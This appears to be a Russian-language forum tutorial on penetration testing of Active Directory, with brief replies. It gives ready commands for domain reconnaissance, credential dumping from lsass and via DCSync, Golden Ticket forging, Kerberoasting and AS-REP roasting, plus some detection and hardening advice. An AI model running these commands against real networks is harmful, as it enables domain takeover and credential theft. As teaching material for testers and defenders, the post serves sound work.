Загрузка...

Пентест AD - как ломают внутрянку

Тема в разделе Статьи создана пользователем Палки 29 июл 2025 в 07:48. (поднята 29 июл 2025 в 13:25) 235 просмотров

  1. Палки
    Палки Автор темы 29 июл 2025 в 07:48 make testers great again!
    Никакой рекламы, держите лису :fox_jump:

    Приветствую, дорогой читатель!
    В этой статье я расскажу о том, как взламывают и захватывают инфраструктуру, получая полный доступ над всеми серверами.
    Посчитал нужным написать данную статью после инцидента с одноимённой компанией, хотелось бы открыть глаза на безопасность таких вещей.


    Для начала разберёмся, что же такое AD:

    AD (Active Directory) - Служба, разработанная Microsoft, предназначенная для управления данными (доступом к ним), правами и сервисами, а так-же прочими ресурсами в сети.
    Она управляет объектами (серверами, пользователями) в домене.


    Почти всегда, когда вы имеете дело с инфраструктурой, развёрнутой на Windows серверах, вы имеете дело с Active Directory.
    DC (Domain Controller) - Контроллер домена, это сервер, который хранит хеши паролей для всех пользователей домена.

    LDAP (Lightweight Directory Access Protocol) - Один из основных протоколов, используемых в AD.
    Позволяет реализовывать доступ к различным службам каталогов и управления ими.

    Service Principal Name (SPN) - Уникальный идентификатор сервиса, используется для авторизации через Kerberos.
    Он привязывается к учётной записи, с правами которой запускается сервис.

    RPC (Remote Procedure Call) - Это механизм, позволяющий запросить выполнение кода (какой-либо функции) на другом сервере, таким образом, словно эта функция выполняется локально.
    Он используется для создания/удаления групп, пользователей, серверов, это достаточно важная часть AD.

    SMB (Server Message Block) - Это сетевой протокол, реализующий удалённый доступ к различным файлам, принтерам и другим сетевым ресурсам.
    Он позволяет работать с файлами на удалённых серверах, редактировать их, читать и записывать.

    Kerberos - Сетевой протокол, реализующий аутентификацию по билетам - специальным токенам для получения доступа к сервисам в AD.
    Он позволяет авторизовывать пользователей, выдавать билеты, соответственно он является частью KDC.
    > KDC (Key Distribution Center) - Центр распределения ключей. Он отвечает за выдачу билетов пользователям (клиентам), а так-же разграничение доступов к AD сервисам.
    > TGT (Ticket Granting Tickets) - Билет для получения TGS билетов (промежуточная стадия), предоставляет собой сессионный токен с временем жизни как правило не более 10 часов.
    > TGS (Ticket Granting Service) - Билет для непосредственного доступа к конкретному сервису, с учётом прав текущего пользователя (клиента).
    > Silver/Golden Ticket - Подделка TGS билета (путём взлома хеша пароля от SPN), позволяющая выдавать себя за других пользователей.

    Представим, что в компании Example Inc (домен example,com) существует инфраструктура, развёрнутая на Active Directory.
    Она включает Windows сервера PROD1 и PROD2, а вы, как один из её сотрудников (клиент инфраструктуры), имеете учётную запись CLNT.

    Таким образом, вы клиент CLNT, и вы хотите получить доступ к сервису PROD1 в AD.

    Вы должны отправить пакеты центру распределения ключей (KDC) в следующем порядке:
    1 - AS_REQ - в сторону KDC (запрос на получение TGT).
    На этом этапе вы передаёте имя клиента (ваше) и имя службы, к которой хотите получить доступ, а так-же отметку времени.
    Если отметка времени в AS_REQ отличается от текущего времени более чем на 5 минут, запрос не проходит, это сделано в целях безопасности.
    2 - AS_REP - от KDC к вам, в случае успешной аутентификации.
    Этот пакет содержит зашифрованный TGT билет, сессионный ключ, а так-же метку времени и период действия билета.

    На данном этапе вы получаете TGT билет для доступа к сервисам, но для того, чтобы заполучить доступ к конкретному сервису, нужен другой билет:
    3 - TGS_REQ - в сторону KDC (запрос на получение конкретного билета, вы представляетесь клиентом CLNT и сообщаете KDC о том, что хотите получить доступ к сервису PROD1)
    4 - TGS_REP - от KDC к вам, в случае успеха вы получите TGS билет, который обеспечит вам запрашиваемый доступ.

    Таким образом вы заполучили TGS билет для сервиса PROD1. Супер!
    impacket - Набор Python-библиотек с открытым исходным кодом, для работы с сетевыми протоколами AD на низком уровне (своего рода API) [github].
    Поддерживает SMB, RDP, Kerberos, NTLM, LDAP и прочие технологии, является очень полезным инструментом при пентесте Active Directory.

    Kerbrute - Утилита для перебора учётных записей (и их хешей) с отключённой преаутентификацией, часто используется для проведения AS_REP Roasting атак [github].

    Rubeus - Утилита для пентеста Active Directory, имеется в арсенале каждого уважающего себя пентестера.
    Написана на языке C#.
    Здесь я приведу подборку из популярных видов атак и трюков, актуальных для Active Directory.
    Начнём с трюков:
    Для обнаружения Active Directory можно воспользоваться утилитой nmap, или любым удобным сканером портов.
    Основные порты, которые использует AD:
    > 53 - DNS
    > 88 - Kerberos
    > 135 - RPC
    > 139/445 - SMB
    > 389/636 - LDAP
    > 464 - Kerberos Password Change
    > 5985 - WinRM
    > 9389 - WS Management

    Сканирование на примере nmap:
    ⁡nmap -p 53,88,135,139,389,445,464,636,5985,9389 -sS -sV -oA ad-enum <ip>
    Для разведки можно (и нужно) использовать перечисление поддоменов.
    Сделать это можно по словарю, одна из утилит, реализующих такой функционал - gobuster.

    Использование этой утилиты:
    ⁡gobuster dns -d example.com -t 20 -w subdomains.txt


    Пример того, что может быть в выводе:
    www,example,com - Основной домен, продакшн
    dev,example,com / staging,example,com - Какая-то тестовая инфраструктура
    mail,example,com / smtp,example,com / imap,example,com - Почтовый сервер
    jenkins,example,com - CI/CD система
    test-api,example,com - Часть тестовой инфры, какие-то API
    cdn,example,com - Сервис доставки контента (хостинг для медиа)

    В целом всё зависит от того, какую компанию вы тестируете (ну и от размера ваших словарей).

    Так-же можно воспользоваться следующими скриптами nmap:
    ⁡nmap --script dns-*****,dns-nsid,dns-recursion,dns-zone-transfer -p 53 <ip>


    А ещё при помощи скриптов можно узнать AD домен:
    ⁡nmap -p 53 --script dns-nsid,dns-srv-enum <ip>


    Исследуем DNS зоны для получения записей доменов (указывается айпи адрес DC):
    ⁡dig axfr @<ip> <domain>


    Узнаем больше информации о конкретном домене:
    ⁡dig A <domain> @<ip>

    ⁡dig SRV _ldap._tcp.dc._msdcs.<domain> @<ip>


    Получаем все записи:
    ⁡dig ANY <domain_name> @<dns-ip>

    ⁡dnsrecon -d <domain_name> -n <dns-ip> -t axfr

    ⁡dnsenum --enum -f dns.txt --dnsserver <dns-ip> <domain_name>


    Техника DNS Cache Snooping:
    ⁡dig @<dns-ip> -t A +norecurse <target-domain>


    Используем PowerShell:
    ⁡Resolve-DnsName -Name <domain_name> -Server <dns-ip> -DnsOnly
    При помощи вышеупомянутого nmap можно перечислить (обнаружить) LDAP сервисы на серверах:
    ⁡nmap -n -sV --script "ldap* and not *****" -p 389 <ip>


    При помощи утилиты ldapsearch можно узнать больше информации о LDAP сервисе:
    ⁡ldapsearch -x -H ldap://<ip> -b "dc=example,dc=com"
    Для перебора валидных пользователей можно воспользоваться утилитой Kerbrute:
    ⁡kerbrute userenum -d [example].com logins.txt

    Аналогичную задачу решает CrackMapExec:
    ⁡crackmapexec smb [example].com -u '' -p '' --users


    Для перебора всех пользователей AD можно воспользоваться impacket (нужны валидные креды на руках):
    ⁡GetADUsers.py -all -dc-ip <ip> -u <username> -p <password> <example.com>

    Так-же это можно сделать при помощи утилиты Enum4Linux:
    ⁡enum4linux -a -u <username> -p <password> <dc-ip>
    Для этой задачи мы можем снова воспользоваться скриптами nmap.

    Базовая информация о Kerberos:
    ⁡nmap -p 88 --script kerberos-enum-users <ip>


    Проверка на наличие популярных уязвимостей:
    ⁡nmap -p 88 --script kerberos-***** <ip>


    Перечисление SPN:
    ⁡nmap -p 88 --script krb5-enum-useres,krb5-scan <ip>
    А теперь пройдёмся по самим атакам:
    Данная атака позволяет атакующему получить билеты учётной записи (в идеале - с максимальными правами) из скомпрометированной машины, и использовать его в дальнейшем.

    Один из способов получения TGT билетов - дамп из процесса lsass.exe (Local Security Authentication Server), данное действие требует привилегий NT AUTHORITY/SYSTEM на текущей машине.

    Для этой задачи можно воспользоваться утилитой Rubeus.

    Смотрим, какие билеты хранятся на локальной машине:
    ⁡rubeus.exe triage


    В выводе мы увидим таблицу с колонками LUID, UserName, Service и EndTime, а так-же текущий LUID.

    Проверяем наличие прав на машине:
    ⁡whoami


    Убеждаемся в том, что мы NT AUTHORITY/SYSTEM, и дампим билеты с машины:
    ⁡rubeus.exe dump


    Rubeus выгрузит билеты из lsass.exe в формате base64, в последствии их легко можно перекодировать в другой вид (включая .kirbi).

    Полученный билет можно импортировать в текущую сессию:
    ⁡rubeus.exe ptt /ticket:data.kirbi
    Это вид атаки, при которой злоумышленник получает возможность получить хеш сервисной учётной записи krbtgt (пароль в зашифрованном виде), следовательно получая при этом все полномочия в AD инфраструктуре.

    Наличие этого хеша позволяет подделывать абсолютно любые билеты для любых пользователей, потому что с его помощью подписываются все TGT билеты в домене.
    Злоумышленник сможет записать любую информацию в билет, к примеру указать что он является админинистратором домена со всеми вытекающими привилегиями.

    Интересной особенностью является то, что этот хеш практически никогда не меняется, от этого его компрометация становится большой проблемой в безопасности серверов.

    Это обеспечит злоумышленнику беспрепятственный доступ к инфраструктуре, ко всем её сетевым ресурсам, базам данных, серверам и тд - потому что проверка пользователя происходит только на этапе AS_REQ (см. механизм аутентификации в Kerberos).
    Таким образом, злоумышленники могут скрываться в сети годами, оставаясь незамеченными, но всё же способы обнаружить такую атаку существуют.

    Чтобы создать Golden Ticket, необходимо следующее:
    > SPN домена
    > SID домена
    > NTLM хеш учётной записи krbtgt
    > имя пользователя (можно указать любое)

    SID можно узнать при помощи команды Get-ADDomain в powershell:
    ⁡Get-ADDomain


    NTLM хеш можно получить при помощи mimikatz тремя разными способами.
    Используя атаку DCSync:
    ⁡lsadump::dcsync /user:krbtgt

    Используя базу SAM:
    ⁡privilege::debug

    ⁡lsadump::lsa /inject /name:krbtgt

    Используя модуль sekurlsa:
    ⁡sekurlsa::krbtgt


    Первым делом создаём билет:
    ⁡impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain <domain> <username>


    В текущей директории будет создан файл username.ccache, необходимо экспортировать его:
    ⁡export KRB5CCNAME=username.ccache


    Теперь подключаемся к нужному серверу при помощи psexec (часть impacket):
    ⁡psexec.py -k -no-pass <domain>/<username>@<hostname>


    На этом этапе мы получаем удалённый доступ с правами SYSTEM.


    Для того, чтобы защититься от этой атаки, необходимо регулярно проводить аудиты безопасности машин в домене, смотреть **** событий (обращать особое внимание на ID 4624 account logon, 4634 special priveleges assigned to new logon и 4672 admin logon), если эти события содержат пустые поля, это может говорить об успешно проведённой атаке Golden Ticket.
    Так-же внимательно смотрите на запросы TGS - если он был инициирован без предшествующего запроса TGT, это повод насторожиться!
    Эта атака позволяет злоумышленнику выдавать себя за DC, для последующего получения учётных данных, как следствие - позволяя ему перемещаться по сети и получать доступ к конфиденциальной информации.

    Атака основана на механизме репликации данных между контроллерами доменов (за это отвечает протокол MS-DRSR).
    Во время этого процесса между DC передаётся чувствительная информация, а именно хеши паролей (что очевидно, потому что каждый контроллер домена является точкой аутентификации).
    Сама Microsoft рекомендует использовать от 2 и более DC для повышения отказоустойчивости инфраструктуры.

    Для того, чтобы выполнить репликацию данных между DC, вы должны иметь учётную запись с расширенными правами доступа (текст кликабелен):
    > DRS-Replication-Get-Changes 1131f6aa-9c07–11d1-f79f-00c04fc2dcd2
    > DRS-Replication-Get-Changes-All 1131f6ad-9c07–11d1-f79f-00c04fc2dcd2
    > DRS-Replication-Get-Changes-In-Filtered-Set 89e95b76-444d-4c62-991a-0facbeda640c (опционально)

    Такими правами обладают следующие группы:
    > Domain Admin
    > Enterprise Admin
    > Domain Controller

    Проверить у кого (группы/пользователи) есть такие полномочия можно при помощи команды Get-Acl, для этого нужно указать домен и GUID (айди права):
    ⁡(Get-Acl "ad:\dc=<domain>").Access | ? {(.ObjectType -eq "1131f6aa-9c07–11d1-f79f-00c04fc2dcd2")}



    Одним из инструментов для проведения такой атаки является Mimikatz.

    Отправляем запрос контроллеру домена на синхронизацию всех объектов в AD:
    ⁡lsadump::dcsync /all


    Отправляем запрос контроллеру домена на синхронизацию данных конкретной учётной записи:
    ⁡lsadump::dcsync /user:<user>
    Данный вид атаки позволяет захватить сервисную учётную запись при помощи запроса TGS, выставляя себя за этот сервис.
    Затем, полученный билет ****форсится для получения пароля от данной учётки.

    Мы можем использовать impacket для получения SPN:
    ⁡GetUserSPNs.py domain/user:pass -dc-host <host> -request


    Сначала происходит запрос к LDAP с целью обнаружить SPN, затем запрашивается TGS, где мы представляемся одним из полученных SPN.
    Данная команда выведет длинный хеш в формате $krb5tgs$23$SPN$host$domain/user$xxxxxxx.

    ****форс этого хеша можно осуществить через hashcat:
    ⁡hashcat -m 13100 hash.txt wordlist.txt


    В целом, по принципу эта атака схожа с AS-REP Roasting, о ней поговорим немного позже.

    Там же написано о том, что KDC не проверяет пароль у учётной записи с отключённой преаутентификацией Kerberos, а точнее зашифрованную метку времени (она шифруется при помощи пароля учётки), этой метки нет в AS_REQ, полученной от KDC.

    Подобную атаку можно провернуть и при помощи Rubeus (вариант при наличии учётной записи в AD):
    ⁡Rubeus.exe kerberoast /outfile:tgs.txt /domain:<domain> /dc:<DC> /user:<user> /password:<pass> /spn:<SPN>
    В случае, когда предварительная аутентификация (AS_REQ) в Kerberos по какой-то причине отключена, контроллер домена может взять на себя эту роль. и отправить AS_REP (см. как работает Kerberos) пользователю.

    Данная атака направлена на получение хешей паролей для пользователей с отключённой преаутентификацией.
    Учётная запись такого пользователя в AD должна иметь атрибут DONT_REQ_PREAUTH, зачастую криворукие администраторы отключают преаутентификацию для совместимости со старыми системами.

    Злоумышленник отправляет DC (см. начало спойлера) пакет AS_REQ без зашифрованной метки времени.
    Сервер, в свою очередь, не проверяет подлинность пакета, и отправляет ответ AS_REQ c TGT билетом (зашифрованным хешем пароля от учётки krbtgt) и сессионным ключом.

    Злоумышленник извлекает оттуда зашифрованные данные и ****форсит пароль учётной записи, в случае успешной атаки он получит этот пароль в открытом виде.
    Извлечь хеши можно при помощи impacket (скрипт GetNPUsers.py), пример получения хешей в формате John the Ripper:
    ⁡GetNPUsers.py domain/user -no-pass -usersfile users.txt -dc-ip <ip> -format john

    ⁡GetNPUsers.py domain/user -usersfile users.txt -dc-ip <ip>


    Для того, чтобы защититься от этой атаки, необходимо принудительно включить предварительную аутентификацию для учётных записей с DONT_REQ_PREAUTH.
    Если в случае успешной атаки Pass-the-Ticket получится словить TGT билет учётной записи DC, при помощи атаки DCSync станет возможной компрометация NTLM хеша учётной записи krbtgt, создания Golden Ticket и последующего захвата домена.

    Почаще следите за активностью ваших серверов (включая сетевой трафик), грамотно разграничивайте права доступа, используйте сильные пароли, не допускайте глупых мисконфигов, а самое главное - не забывайте вовремя обновляться)

    Надеюсь, данная статья была полезна для вас. До скорых встреч! :animelove:
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    29 июл 2025 в 07:48 Изменено
    1. Посмотреть предыдущие комментарии (3)
    2. amore
    3. Палки Автор темы
  2. uncpfiae
    сам взломал, сам рассказал, знаем таких :fox_jump:
     
    1. Архистратиг
      uncpfiae, почему форум вчера не падал? подозрительно даже
  3. Палки
    Палки Автор темы 29 июл 2025 в 10:30 make testers great again!
    во избежание наплыва юных хакеров, статья раскрывает темы далеко не полностью (материала слишком много).
    но если у вас возникли дополнительные вопросы и вы хотите глубже разобраться в пентесте AD, смело задавайте их
     
Загрузка...
Top